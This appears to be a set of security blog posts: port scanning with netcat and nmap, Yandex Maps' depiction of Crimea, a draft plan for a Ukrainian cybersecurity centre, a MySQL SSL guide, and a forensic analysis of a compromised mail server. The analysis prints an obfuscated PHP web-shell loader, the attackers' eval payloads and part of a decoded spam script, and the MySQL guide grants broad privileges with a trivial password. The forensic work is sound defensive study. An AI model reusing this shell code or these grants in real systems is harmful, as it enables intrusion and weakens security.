Курс "Тестирование на проникновение в компьютерные системы, практическая информацинная безопасность"
cert_ua
6.7 Сканування портів

Сканування портів - це перевірка відкритих TCP та UDP-портів на машині. Це активна і важлива частина фази збору даних. Шляхом ідентифікації відкритих потрів на віддаленій машині ми можемо дізнатись про активні сервіси, які доступні для нас. Якщо якийсь сервіс має вразливість (vulnerable) або сконфігурований неправильно (misconfigured), цього може бути достатньо для компрометації машини.

Важливо розміти, що у багатьох країнах сканування портів визнано НЕлегальним. Тому, його не можна використовувати поза межами лабораторних умов. Сканувати погрти на Україні можна тільки санкціоновано власником комп'ютерних систем або у разі наявності дозволу у судовому порядку.

TCP-сканування

ТСР-сканування базуэться на трьохкроковому встановленні TCP-з'єднання (tcp handshake).
TCP-з'єднання встановлюється, коли SYN-пакет выдсилається у відкритий порт, а з цього порту отримується у відповідь ACK-відповідь.

Процес сканування портів включає в себе процес встановлення з'єднання з заданим портом. Якщо порт відповідає та продовжує з'єднання, значить він відкритий. У випадку закритості порту буде отримано RST-повідомлення.

Це описується у прикладі використання сніфера пакетів Wireshark у цьому курсі.

UDP-сканування

UPD - це протокол без функції відслідковування стану з'єднання (stateless), немає механізму хендшейків і з'эднання встановлюється трішки по-іншому. Для того, щоб розібратись у тому, як встановлюється UDP-з'єднання, достатньо записати дамп трафіку Wireshark'ом під час UDP-сканування NetCat'ом машини, на якый працює сервіс SNMP на порту 161. Для такого сканування треба запустити NetCat наступним чином:

nc -vvnzu -w 1 192.168.0.22 160-163

, де опції:
vv - extraverbosity (дуже докладний звіт)
n - не робити розіменування по протоколу DNS
zu - сканування по UDP-портах
-w 1 - тайм-аут = 1 секунда
160-163 - діапазон номерів портів

Результат буде приблизно таким:

(UNKNOWN) [192.168.0.22] 163 (cmip-man) : Connection refused
(UNKNOWN) [192.168.0.22] 162 (snmp-trap) : Connection refused
(UNKNOWN) [192.168.0.22] 161 (snmp) open
(UNKNOWN) [192.168.0.22] 160 (?) : Connection refused
 sent 0, rcvd 0

Ми бачимо, що порт 161 був відкритий. UDP-сканування засноване на відсиланні порожнього UDP-пакету на відкритий UDP-порт. Якщо порт відкритий, ми не отримаємо відповіді. Якщо порт закритий - отримаємо повідомлення ICMP-unreachable (такого повідомлення ми не отримали у нашому випадку тільки для порту 161).

Мистецтво сканування не приходить без складнощів. Треба запам'ятати наступні тонкощі при скануванні, які призводять до невірного висновку:
- для UDP-сканування: сканери портів, зазвичай, намагаються опитати скановану машину за допомогою ICMP- або Ping-запитів. Якщо від машини не повертається ICMP-відповідь, яканування завершується оскільки сканер починає вважати таку машину недоступною.
- для UDP-сканування: фаерволи та маршрутизатори часто можуть блокувати ICMP-запити\відповіді, дозволяючи при цьому проходження інших видів трафіку. Тому, часто UDP-сканування може бути неприйнятним, оскільки призводитиме до невірних результатів сканування (false positives) - сканер буде вважати всі порти, з яких не надійшли відповіді відкритими. Тому, зазвичай, сканери мають зазделегідь сфомовані переліки цікавих портів та сканують по UDP тільки їх. Неврахування цього факту може привести до не сканування сервісів, які працюють на нестандартних портах (результати такого сканування породять false negatives).
- для UDP- та TCP-сканування: сканування портів зазвичай породжує інтенсивний трафік, тому сканування через безпровідне з'єднання (wireless) або через WAN-з'єднання може призводити до проблем з каналом та, як результат, до невырних висновків при скануванні. Завжди думайте про ваш канал з'єднання (upstream bandwidth) коли скануєте віддалену машину і, якщо дозволяє сканер, відповідними флагами знижуйте інтенсивність сканувань.

6.8 NMAP

Один з найпотужніших сканерів - NMAP - його можна обговорювати та показувати години з-за великої кількості опцій та можливостей. Перегляньте можливості сканеру - команда nmap без параметрів.

В BackTrack файли конфігурації за замовчанням для NMAP (наприклад, список стандартних потрів для сканування та список сервісів) знаходяться за адресою /usr/share/nmap (ls -l /usr/share/nmap). У цих файлах міститься велика кількість корисної інформації, яку доцільно вивчити окремо для розуміння того як працює NMAP.

Стандартний скан портів (вивід результатів - швидкий):

nmap 192.168.0.2

Yandex считает Крым Российской Федерацией, но не для посетителей Украины
cert_ua


  Сервис интерактивных карт российской компании Yandex, согласно их же пользовательскому соглашению, предлагает Пользователю возможность бесплатного доступа к актуальной картографической и иной справочной информации. Точность для этого сервиса — принципиальный вопрос, согласитесь.

Для посетителей из украинского сегмента сети Интернет сервис карт российской компании Yandex границы Украины выглядят так:

1

Обратите внимание на то, что полуостров Крым по данным Yandex-карт принадлежит Украине. Но это только для посетителей, зашедших на этот ресурс с украинских айпи-адресов. Для того, чтобы проверить принадлежность полуострова Крым для посетителей из других стран, воспользуемся технологией Tor. Клиент тор-сети (в нашем случае — это Tor Browser) позволяет относительно анонимно и через прокси-серверы со всего мира выходить в глобальные сети. Воспользовавшись тор-браузером, мы проверим наш айпи-адрес, зайдя на один из сайтов для его проверки:

1


Теперь мы как бы посетитель из Швейцарии, с операционной системой Windows 7 и наш браузер — Firefox. Проверим, что думает о границах Украины сервис Яндекс-карт:

1
Если немного увеличить карту, получим информацию о том, какие города и местности теперь приграничные по мнению сервиса Yandex-карты:



1

Не зря эти карты называют политическими, ведь штаб-квартира Yandex находится в Российской Федерации...а, ведь кто-то по этим картам логистику планирует, туризмом и бизнесом занимается.

Интересно, что аналогичный сервис от компании Google приводит другую информацию о государственных границах Украины, обозначая границу между континентальной Украиной (Херсонской областью) и полуостровом Крым штриховой линией:


1При этом в пользовательском соглашении компании Яндекс есть интересный, на мой взгляд, пункт 4: Государственная граница между Российской Федерацией и республикой Абхазия, Грузией, республикой Южная Осетия, Эстонской республикой подлежит международно-правовому оформлению.

Поскольку эта государственная граница не оформлена нигде, кроме карт Яндекса, считаем возможным компании использовать своё соглашение и «без предупреждения и по своему усмотрению удалить любой Пользовательский объект или набор Пользовательских объектов в случае, если содержащаяся в его описании информация противоречит законодательству РФ...», либо хотя бы дополнить вышеуказанный пункт 4.

Предлагаю пользователям сети Интернет выбирать только качественные и надёжные сервисы.

...и что-то там на посягания на териториальную целостность...


Концепція Національного центру кібернетичної безпеки України [draft] aka А что если вот так?
cert_ua

  1. Основні положення


На порядку денному України постали завдання переходу до нового етапу розвитку суспільства, наступного за постіндустріальним – етапу Інформаційного суспільства, головним змістом якого є діяльність людей, що пов’язана з отриманням, обробкою та створенням інформації. Сучасний стан захищеності інформаційних систем об'єктів критичної інфраструктурикритичної інформаційної інфраструктури, як її підмножини) на сьогодні є не задовільним для України. Внаслідок сильної зв'язності інформаційного  суспільства стан захисту об'єктів критичної інфраструктури України прямо та опосередковано впливає на інші країни і все більше впливає на імідж України в світовому інформаційному просторі.
Найбільш актуальними для України на сьогодні є наступні загрози:

  • можливість ураження інформаційних систем об’єктів критичної інфраструктури (у сфері енергетики, телекомунікацій, фінансово-банківського сектора, транспорту та оборони);

  • високий рівень кіберзлочинності, що має транснаціональний характер;

  • діяльність іноземних спецслужб та розвідувальних служб інших країн, хакерських угруповань;

  • поширення негативного іміджу України, що обумовлюється низьким рівнем соціально-економічного розвитку, корумпованістю та недієвістю органів державної влади, складною криміногенною ситуацією та незадовільним для українців рівнем надання соціальних сервісів українським державним апаратом;

  • вкрай низька ефективність правоохоронних органів, силових відомств, державних органів при протидії комп’ютерним атакам (кіберагресії);

  • не ефективна та не гнучка система управління національним сегментом мережі Інтернет, доменним простором .ua та .УКР;

  • не прозора та не дієва схема взаємодії держави і громадян у питаннях кібербезпеки.

Відповідно до законодавства питання протидії зовнішнім та внутрішнім кіберзагрозам в Україні належать до компетенції Адміністрації Державної служби спеціального зв’язку та захисту інформації України, Служби безпеки України, Міністерства внутрішніх справ України. До зазначеної діяльності також залучаються Міністерство оборони України та інші центральні органи виконавчої влади.
На виконання статті 35 Конвенції про кіберзлочинність у Міністерстві внутрішніх справ України функціонує Національний контактний пункт формату 24/7 щодо реагування та обміну терміновою інформацією про вчинені комп’ютерні злочини. У складі Державної служби спеціального зв’язку та захисту інформації України утворено Центр реагування на комп’ютерні інциденти, який пройшов акредитацію у міжнародних інституціях (CERT-UA).
В рамках Спільної робочої групи Україна-НАТО з питань воєнної реформи високого рівня діє робоча підгрупа з питань кіберзахисту.
Проте, фактичний стан захищеності України в інформаційному плані не дозволяє ефективно захищати, розвивати її телекомунікаційну складову, що вкрай негативно впливає на внутрішню та зовнішню політику України, уповільнює економічний та соціальний розвиток.
З огляду на зазначене українське керівництво повинно вжити комплекс заходів для мінімізації негативних чинників з метою забезпечення належного рівня інформаційної безпеки суспільства і держави. Їх можливо поділити на три складові: організаційні, нормативно-правові та технічні.
З метою реалізації цих заходів в Україні створюється система кібернетичної безпеки, завдання, функції та організаційну структуру якої, а також основні завдання суб’єктів системи кібернетичної безпеки України наведено у додатках.
Основні суб’єкти кібернетичної безпеки:

  • РНБО України;

  • Верховна Рада України;

  • судові та правоохоронні органи;

  • міністерства та інші органи державної влади;

  • спеціальні служби (органи), на які покладено завдання з забезпечення інформаційної безпеки держави;

  • органи місцевого самоврядування, неурядові організації, приватні підприємства, громадяни.


Досвід України у державному управлінні з питань кібербезпеки, який полягав у покладанні певних вузькоспеціалізованих завдань на певні міністерства, не виправдовує себе. Про це свідчать аналітичні дані, наведені у додатку 1.
Тому, для забезпечення координації діяльності суб’єктів кібернетичної безпеки, враховуючи власний досвід України та сучасні кращі закордонні практики, найближчим часом необхідне створення Національного центру кібернетичної безпеки, до складу якого увійдуть:

  1. Оперативна рада (група) кібербезпеки – створена відповідно до наказу Адміністрації Держспецв’язку, повинна включати адміністративні контакти (керівників ключових підрозділів держави і приватного секторів, зокрема операторів/провайдерів ринку телекомунікацій), мати дорадчий та консультативний статус, брати участь у організації важливих для держави подій в частині що стосується;

  2. Центр боротьби з кіберзлочинністю та розслідувань – створений на базі Держспецзв’язку, повинен включати співробітників УБК МВС України, ДКЗІДСІБ СБ України, МО України та СЗР України. Центр з боротьби з кіберзлочинністю та розслідувань мати права суб’єкту регулювання ринку телекомунікацій, правоохоронного органу та криміналістичної лабораторії з комп’ютерної тематики:

    1. право на досудове блокування інформаційних ресурсів з наступних причин: екстремізм, тероризм, розпалювання міжнаціональної та міжконфесійної ворожнечі і масові заворушення, дитяча порнографія тощо;

    2. право визначення підслідності, відкриття і закриття кримінального провадження, слідчі дії, робота з НКП;

    3. криміналістичних експертиз (право залучати експертів).


Співробітники Центру з боротьби з кіберзлочинністю та розслідувань повинні бути штатними співробітниками правоохоронних органів, у компетенції яких лежить боротьба з кіберзагрозами. У межах Центру з боротьби з кіберзлочинністю та розслідувань вони виконують свої прямі завдання та користуються правовим полем цих міністерств, координуючи свою діяльність за допомогою Оперативної ради (групи) кібербезпеки та за допомогою підрозділу з визначення підслідності.

  1. Центр моніторингу та технічного супроводження системи захисту державних інформаційних ресурсів у складі:


  • відділ антивірусного захисту інформації – антивірусний захист держави, вивчення та розробка нових зразків ШПЗ;

  • відділ CERT-UA – реагування на інциденти інформаційної безпеки, досудове вирішення спорів, надання допомоги громадянам, міжнародна діяльність;

  • відділ аудиту інформаційної безпеки та оцінок стану захищеності – права інспектування, оцінок стану захищеності ДІР в ІТС ОДВ, право накладання штрафу за адмінпорушення у сфері захисту інформації і подання заявок до Центру з боротьби з кіберзлочинністю та розслідувань (пп. 2.1-2.3);

  • відділ стандартів та внутрішнього контролю – експертизи ТЗІ та КЗІ, розробка та впровадження стандартів з ІБ для потреб суб’єктів кібернетичної безпеки, аналітична робота з питань кібербезпеки, контроль ефективності роботи з основних завдань Національного центру кібернетичної безпеки, винесення пропозицій на розгляд Оперативної ради (групи) кібербезпеки;

  • відділ технічних засобів та МТЗ – закупівля МТЗ та техніки, ведення господарської діяльності, тестування нових розробок у галузі телекомунікацій тощо;

  • відділ технічного супроводження системи захисту державних інформаційних ресурсів – адміністрування СЗДІ, надання телекомунікаційних сервісів та сервісів з кіберзахисту від імені Національного центру кібернетичної безпеки для суб’єктів кібернетичної безпеки, контроль номерного ресурсу державного сектору України, забезпечення програмним забезпеченням потреб Національного центру кібернетичної безпеки та суб’єктів кібернетичної безпеки;


  1. Центр протидії кіберагресії у складі:


  • відділ з протидії кібератакам – представники МО України, СБ України, МВС України. Права перехвату у операторів і провайдерів контролю граничних для Українського сегменту мережі Інтернет активних мережевих пристроїв при кіберагресії проти України, взаємодія з операторами/провайдерами стосовно надання і призупинення надання телекомунікаційних послуг у досудовому порядку;

  • група силового втручання – забезпечення виконання правоохоронних функцій, забезпечення заходів з кримінального провадження, слідчих дій – виконують свої прямі завдання та користуються правовим полем силових відомств, координуючи свою діяльність за допомогою Оперативної ради (групи) кібербезпеки та за допомогою підрозділу з визначення підслідності. На першому етапі пропонується позаштатно формувати з представників спецпідрозділів силових структур (МВС України, СБ України, тощо);

  • відділ взаємодії з ЗМІ – публікації новин, ведення інформаційних ресурсів, взаємодія зі ЗМІ (позиціонування діяльності Національного центру кібернетичної безпеки у інформаційному просторі, соціальних мережах тощо), взаємодія з недержавними і громадськими організаціями;

  • відділ протидії технічним розвідкам – забезпечення захисту Національного центру кібернетичної безпеки від негативного впливу спецслужб інших країн (ПЕМВ, пошук та знешкодження закладних пристроїв, участь у криміналістичних експертизах у якості експертів тощо). Пропонується комплектувати з профільних підрозділів Держспецзв’язку та СЗР України, оперативних підрозділів СБ України;

Крім того, у склад Національного центру кібернетичної безпеки повинні входити підрозділи загального призначення:

  • відділ юридичного обслуговування - загальноюридичні та спеціальні юридичні послуги, розробка нової нормативної бази, супроводження її при юстуванні, впровадження нових стандартів спільно з відділом стандартів та внутрішнього контролю, оформлення необхідної документації для судового розгляду кримінального провадження, супроводження справ у судах;

  • відділ бухгалтерського обслуговування;

  • відділ РСС;

  • мобілізаційний підрозділ;

  • відділ внутрішньої безпеки та аудиту.

Технічною особливістю розміщення Національного центру кібернетичної безпеки є безпосередня близькість до розташування Національної системи конфіденційного зв’язку та систем забезпечення зв’язку і управління у мирний і воєнний час. Крім того, тільки поєднавши зусилля різних міністерств і відомств, тільки у поєднанні їх повноважень і обов’язків можливо ефективно застосовувати Національного центру кібернетичної безпеки для забезпечення кіберзахисту і протидії кіберагресії.
Внаслідок досить широких повноважень та високого рівня відповідальності, що довіряється Національному центру кібернетичної безпеки, необхідне його пряме підпорядкування РНБО України та забезпечення прозорих та чітких правил його функціонування. З цією метою необхідне спільне узгодження з іншими суб’єктами забезпечення інформаційної безпеки. Таким чином, стане можливим уникнення їх фактичного ухиляння від завдань, не ефективне функціонування і протидія іншим негативним впливам (в тому числі, корупції та іноземного походження).
Усі співробітники Національного центру кібернетичної безпеки повинні бути громадянами і патріотами України, володіти державною мовою.
Повинно бути реалізовано механізм усунення будь-якого співробітника Національного центру кібернетичної безпеки за рішенням Оперативної ради (групи) кібербезпеки з наслідком у вигляді неможливості заняття посад у державному апараті на деякий тривалий час (за поданням відділу внутрішньої безпеки та аудиту та керівника підрозділу). Це повинно обов’язково висвітлюватись у ЗМІ відділом взаємодії з ЗМІ на відповідному публічному веб-ресурсі у мережі Інтернет (на початковому етапі це може бути веб-сайт CERT-UA www.cert.gov.ua).
З метою протидії корупції необхідно належне фінансове забезпечення усіх співробітників Національного центру кібернетичної безпеки на рівні, вищому ніж у аналогічних підрозділах суб’єктів кібернетичної безпеки України (повинен бути реальний попит на кожне місце та конкурсний відбір на кожну посаду). Це значно ускладнить деструктивний вплив спецслужб інших країн на роботу Національного центру кібернетичної безпеки, а також уповільнить відтік висококваліфікованих кадрів.


  1. Перспективи

5.1 Сприяти формуванню довіри у пересічного громадянина України і користувача Інтернет-технологій щодо надійності державного апарату України та безпеки обміну даними, а також запобігання втраті, перекрученню та несанкціонованому доступу до даних.
5.2 Рівень захищеності має бути таким, щоб знизити до практично нульового рівня шкоду, що може бути заподіяна учасникам транзакцій електронної комерції (державно-приватне партнерство також повинно здійснюватись прийнятно для комерційного сектору);
5.3 Усунути ураження інформаційних систем об’єктів критичної інфраструктури (у сфері енергетики, телекомунікацій, фінансово-банківського сектора, транспорту та оборони);
5.4 Подолати високий рівень кіберзлочинності та налагодити ефективну та координовану протидію іноземним спецслужбам та розвідувальним службам інших країн, хакерським угрупованням;
5.5 Протидіяти поширенню негативного іміджу України шляхом показу правдивої та неупередженої інформації, власним прикладом доводити справи по кіберзлочинам до заслугованого покарання у судах;
5.6 Надання простих, корисних і нагально необхідних сучасних сервісів у сфері кібербезпеки;
5.7 Підвищення ефективності правоохоронних органів, силових відомств, державних органів при протидії комп’ютерним атакам (кіберагресії);
5.8 Ефективна та гнучка система управління національним сегментом мережі Інтернет, доменним простором .ua та .УКР;
5.9 Побудова простої, прозорої та дієвої схеми взаємодії держави і громадяна у питаннях кібербезпеки;
5.10 Постійне підвищення надійності транспортної телекомунікаційної мережі, що має забезпечувати функціонування Інтернет-технологій в Україні, з метою запобігання злочинам, спрямованим на припинення надання послуг Інтернету, протидії кіберагресії проти України, сприяти розвитку телекомунікаційних послуг;
5.11 Не ущімлювати свободу слова та права людини.
 5.12 Подолати розрив технологічного прогресу та нормативної бази у галузі інформатизації шляхом розробки нових регулюючих та регламентуючих документів у сфері кібербезпеки.
5.13 поступовий перехід до електронного урядування та консолідація інформаційної безпеки у Національному центрі кібернетичної безпеки.
5.14 Інформування та навчання силами забезпечення кібербезпеки суб’єктів забезпечення інформаційної безпеки питанням згідно компетенції;
5.15 підвищення фактичного рівня захищеності об'єктів критичної інфраструктури (і критичної інформаційної інфраструктури, як її підмножини), відомчих ІТС тощо.


6. Перспективна структура системи кібернетичної безпеки (жирним – перспективні елементи, звичайним – діючі елементи)

Загальне керівництво кібербезпекою

  • РНБО України


Орган управління підрозділами кібербезпеки

  • Оперативна рада (група) кібербезпеки

  • Спільна робоча група Україна-НАТО з питань воєнної реформи високого рівня та робоча підгрупа з питань кіберзахисту у її складі


Сили забезпечення кібербезпеки

  • Національний центр кібернетичної безпеки

  • CERT-UA


Залучаються до виконання завдань забезпечення кібербезпеки

  • Міністерства та відомства

  • Неурядові громадські організації

  • Оператори і провайдери ринку телекомунікацій

  • Суб’єкти підприємницької діяльності


Установка поддержки SSL на MySQL
cert_ua


Есть несколько разных способов установки MySQL с SSL, но иногда сложно её закончить, из-за того что все эти источники не достаточно качественны и просты. Обычно, установка MySQL+SSL не так проста из-за весьма непрозрачных факторов типа “сегодня не мой день”, что-то не взлетит либо врёт документация:) Я дам инструкции по установке MySQL с SSL, репликации SSL и установлению скьюрного коннекта из консоли и скриптами покажу что всё работает.

1. Генерирую SSL-сертификат в соответствии с примером . Использую разные имена для Use клиентского и серверного сертификатов.

2. Для ясности, сохраню сгенерированные файлы сертификатов сюда - /etc/mysql-ssl/

3. Добавлю следующее в /etc/my.cnf в секцию [mysqld]:

# SSL
ssl-ca=/etc/mysql-ssl/ca-cert.pem
ssl-cert=/etc/mysql-ssl/server-cert.pem
ssl-key=/etc/mysql-ssl/server-key.pem

4. Рестартую MySQL.

5. Создаю юзера для разрешения ему только SSL-encrypted коннектов:



GRANT ALL PRIVILEGES ON *.* TO ‘ssluser’@’%’ IDENTIFIED BY ‘pass’ REQUIRE SSL;


Установка секьюрного коннекта из консоли

1. Если клинет на другом ноде, копирую /etc/mysql-ssl c другого сервера на этот.

2. Добавлю следующее в /etc/my.cnf в секцию [client]:

# SSL
ssl-cert=/etc/mysql-ssl/client-cert.pem
ssl-key=/etc/mysql-ssl/client-key.pem

3. Тестирую секьюр коннект:



[root@тазик ~]# mysql -u ssluser -p -sss -e ‘\s’ | grep SSL
SSL: Cipher in use is DHE-RSA-AES256-SHA


Устанавливаю репликацию SSL

1. Установлю скьюрный коннект из консоли к слейву (Slave) как описано выше, для того чтобы удостовериться что SSL работает.

2. На мастере (Master) добавлю “REQUIRE SSL” для репликации изера:



GRANT REPLICATION SLAVE ON *.* to ‘repl’@’%’ REQUIRE SSL;


3. Меняю опции мастера и рестартую слейва:



STOP SLAVE;
CHANGE MASTER MASTER_SSL=1,
MASTER_SSL_CA=’/etc/mysql-ssl/ca-cert.pem’,
MASTER_SSL_CERT=’/etc/mysql-ssl/client-cert.pem’,
MASTER_SSL_KEY=’/etc/mysql-ssl/client-key.pem’;

SHOW SLAVE STATUSG
START SLAVE;
SHOW SLAVE STATUSG


Установка секьюрного коннекта из PHP

1. Устанавливаюl пакеты php и php-mysql. Я использовал версию >=5.3.3 (в других случаях может не работать).

2. Создаю скрипт:



[root@тазик ~]# cat mysqli-ssl.php
$conn=mysqli_init();
mysqli_ssl_set($conn, ‘/etc/mysql-ssl/client-key.pem’, ‘/etc/mysql-ssl/client-cert.pem’, NULL, NULL, NULL);
if (!mysqli_real_connect($conn, ’127.0.0.1′, ‘ssluser’, ‘pass’)) { die(); }
$res = mysqli_query($conn, ‘SHOW STATUS like “Ssl_cipher”‘);
print_r(mysqli_fetch_row($res));
mysqli_close($conn);


3. Тестирую:



[root@тазик ~]# php mysqli-ssl.php
Array
(
[0] => Ssl_cipher
[1] => DHE-RSA-AES256-SHA
)


Установка секьюрного коннекта из Python

1. Устанавливаю пакет MySQL-python.

2. Создаю скрипт:



[root@тазик ~]# cat mysql-ssl.py
#!/usr/bin/env python
import MySQLdb
ssl = {‘cert’: ‘/etc/mysql-ssl/client-cert.pem’, ‘key’: ‘/etc/mysql-ssl/client-key.pem’}
conn = MySQLdb.connect(host=’127.0.0.1′, user=’ssluser’, passwd=’pass’, ssl=ssl)
cursor = conn.cursor()
cursor.execute(‘SHOW STATUS like “Ssl_cipher”‘)
print cursor.fetchone()


3. Тестирую:



[root@тазик ~]# python mysql-ssl.py
(‘Ssl_cipher’, ‘DHE-RSA-AES256-SHA’)


Примечания

Альтернативный сетап локального коннекта по SSL
Если Вы коннектитесь к серверу локально с включенным SSL, можно так же устанавливать секьюрные соединения так::
1. Создаём ca.pem:



cd /etc/mysql-ssl/
cat server-cert.pem client-cert.pem > ca.pem


2. Имеем только следующие строки по ssl- в /etc/my.cnf в секции [client]:

# SSL
ssl-ca=/etc/mysql-ssl/ca.pem

Error “ssl-ca” при локальных коннектах
Если Вы оставили строку “ssl-ca=/etc/mysql-ssl/ca-cert.pem” в разделе [client] файла /etc/my.cnf сервера, чтобы включить SSL и при этом пытаетесь установить локальное подключение через SSL, получите “ERROR 2026 (HY000): SSL connection error: error:00000001:lib(0):func(0):reason(1)”.

Описание в документации
http://dev.mysql.com/doc/refman/5.5/en/using-ssl-connections.html гласит “A client can connect securely like this: shell> mysql –ssl-ca=ca-cert.pem” which does not work with “REQUIRE SSL”. Тоесть, либо поддерживаетя клиентский сертификат и ключ для всех. либо комбинированный сертификат client+server для локального секеьюрного коннекта.

Tags: ,

[пример] Исследование взлома почтового сервера
cert_ua
посвящается админам, у которых взломали почтовик)


Имеем:

Логов нет, знаем что почтовик на экзиме 2 дня назад начал дико слать почту в мир.
Самая старая энтри экзима - 2014-03-18 00:37:59. Значит трабл был раньше.
Ставим софт для форенсики и узнаём больше:





[код]
apt-get install tct sleuthkit
fls -r -m / /dev/xvda2 > xvda2.dump
mactime-sleuthkit -b xvda2.dump -p /etc/passwd 2014-01-01 > xvda2.dump.mac






Анализ временых меток сервера даёт инфу, что два дня назад, внезапно тёмной ноченькой 2014-03-18, было удалено много файлов и
были некоторые ошибки типа "нет места на диске". админ подумал, что мало места и не обратил внимания,
решив почистить сервер когда придёт утро. Админ почистил некоторые логи и освободил место на следующее утро.

В /var/spool/exim4/input/ нахожу в очереди письма (спам), висящие в спуле и отправляемые с адреса
www-data@hostname. Самое старое из них датируется 2014-03-14 22:16. Тоесть трабл случился до 2014-03-18.
В спуле экзима 250 килописем...ой. Чищу очередь (удаляю этот спам/нужную почту, освободжаю дисковое пространство):






[код]
exim4 -bp|grep -o "1W[[:alnum:]-]*"|xargs -n 1 exim4 -Mrm






Пострадавшая сторона не в восторге.

Очередь остаётся, значит малварь ещё работает. Он работает под юзером www-data (из-под апача). Останавливаю экзим и апач.
С помошью mactime timeline определяю 2 повреждённых файла:






[код]
2014-03-05 12:35 /var/www/.../spip/tmp/cache/skel/html____php_eval_base64_decode___POST_evv________php___d3135576b1e1eae4241edc0e24a2b047.php
2014-03-06 14:50 /var/www/.../spip/ecrire/lang/hsys.php






Экзим показал, что за 24 часа было отослано овердофига (20 килописем) и...






hsys.php

Похоже - малварь.
Сохраняю копию и стартую экзим, предварительно открыв просмотр логов почты и очередь.
стартую апач, предварительно сконфигурировав некоторое логирование того, что он делает (он нифига никуда не писал!!).

hsys.php содержит закриптованый payload, который я не могу раздекриптить без пароля, передаваемого ему через метод POST или с помощью cookie.

Задумался о некотором криптоанализе, но плейнтекст на который я смотрел за gzip'лен.
Вот как этот код выглядит, с обрезаным пейлоадом и небольшим обрамлением:
[код]
<?php $wp__wp='base'.(32*2).'_de'.'code';$wp__wp=$wp__wp(str_replace("\n", '', 'P7NA4RFrFxj ..... ZCbTBLY='));
$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);
if($wp_wp!==NULL){
 $wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));
 for($wp___wp=0;$wp___wp<15185;$wp___wp++){
  $wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);
  $wp_wp.=$wp__wp[$wp___wp];
 }
 if($wp__wp=@gzinflate($wp__wp)){
  if(isset($_POST['wp_wp']))@setcookie('wp_wp', $_POST['wp_wp']);
  $wp___wp=create_function('',$wp__wp);
  unset($wp__wp,$wp_wp);
  $wp___wp();
 }
}?>




Когда смотрю логи, я вижу повторяющиеся попытки доступа к hsys.php. Неплохо бы узнать пароль, поэтому я создал новый hsys.php.
 




[код]
<?php 
$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);
if($wp_wp!==NULL){
  $myFile = "/tmp/hsys.log";
  $fh = fopen($myFile, 'a');
  fwrite($fh, $wp_wp);
  fwrite($fh, '\n');
  fclose($fh);
}
?>





Через парусекунд я получил пассворд. Он нецензурен и русскоязычен.
Айпишки, которые хотят коннекта с hsys.php, по геоайпи - тоже русские:






[код]
cat /var/log/apache2/error.log |grep -o "188.143[.0-9]*"|sort|uniq
188.143.232.147
188.143.232.189
188.143.232.30
188.143.232.45
188.143.233.136











геоайпи:





[код]
188.143.232.147 RU Saint-Petersburg, Petersburg Internet Network LLC
188.143.233.136 RU Moscow, Petersburg Internet Network LLC






с пассвордом я декриптую пейлоад, просто задав значение $wp_wp:
[код]

$wp_wp="hu...da";
if($wp_wp!==NULL){
 $wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));
 for($wp___wp=0;$wp___wp<15185;$wp___wp++){
  $wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);
  $wp_wp.=$wp__wp[$wp___wp];
 }
 if($wp__wp=@gzinflate($wp__wp)) print $wp__wp;



Это возвращает пейлоад, который может быть инкапсулирован как нечто похожее на:



[код]

<?php 
function foo () {
  ...payload...
}
foo();
?>



Пейлоад выглядит как веб-шелл, который я нахожу, гугля похожие/характерные строки врапперов в рунете.
Беру сохранённую копию и открываю её в браузере. Это даёт симпотный шелл с возможностями:

  • command line execution

  • php code execution

  • file browser

  • SQL client

  • pwd brute-force

  • reverse shell

  • и т.д.

Шелл имеет метку P.A.S. v.3.0.10
гуглю сие - http://profexer.name/pas/download.php, где любой может взять себе свою версию его же заинкрипченым.
Введя пасс, я вошёл и получил некоторый ПХП-код с таким же заинкрипченым кодом пейлоада (тоесть я получил пасс того, кто был передо мной тут же).
Этот сайт принадлежит русским, как я выяснил ранее.

Далее, я хочу выяснить какие инструкции посылались веб-шеллу ботами, которые долбили в закрытую дверь моего похаканого сервера почты.
Для этого я недолго восстанавливаю оригинал того, как я регистрирую запросы POST[код]

$myFile = "/tmp/hsys-post.log";
$fh = fopen($myFile, 'a');
fwrite($fh, print_r($_POST, true));
fwrite($fh, '\n');
fclose($fh);




Потом я стопаю экзим, апач, чищу очередь экзима, удаляю скрипт и стартую его опять.
Логфайл фиксирует много пейлоадов, приходящих ко мне:
Array





[код]
(
    [sc] => 
    [wp_wp] => hu...oda
    [pass] => hu...oda
    [ev] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
    [php] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
    [nst_cmd] => goto
    [act] => eval
    [eval] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
    [eval_txt] => 1
    [nst_tmp] => tools
    [php_ev_c] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
    [cmd] => 
    [php_eval] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
    [a] => Php
    [p1] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
)











похоже на брутфорс всех путей, которые могут исполнять ПХП-код ))
Пейлоад выглядит так - http://www.unphp.net/decode/e3fc3548b7c14a8548b24c8b82544dea/
Как пользоваться этим сайтом я объснил тут.
Красата:



[код ПХП]

<?php echo 'l0978q';
error_reporting(0);
ini_set("mail.add_x_header", "0");
$_SERVER["SCRIPT_URL"] = "http://" . $_SERVER["HTTP_HOST"] . "/index.php";
$_SERVER["SCRIPT_URI"] = "http://" . $_SERVER["HTTP_HOST"] . "/index.php";
$_SERVER["REMOTE_ADDR"] = "192.168.0.1";
$_SERVER["HTTP_REFERER"] = "";
$_SERVER["SCRIPT_FILENAME"] = "";
$_SERVER["PHP_SELF"] = "/index.php";
$_SERVER["REQUEST_URI"] = "/index.php";
$_SERVER["SCRIPT_NAME"] = "/index.php";
echo mail("#REDACTED#@gmail.com
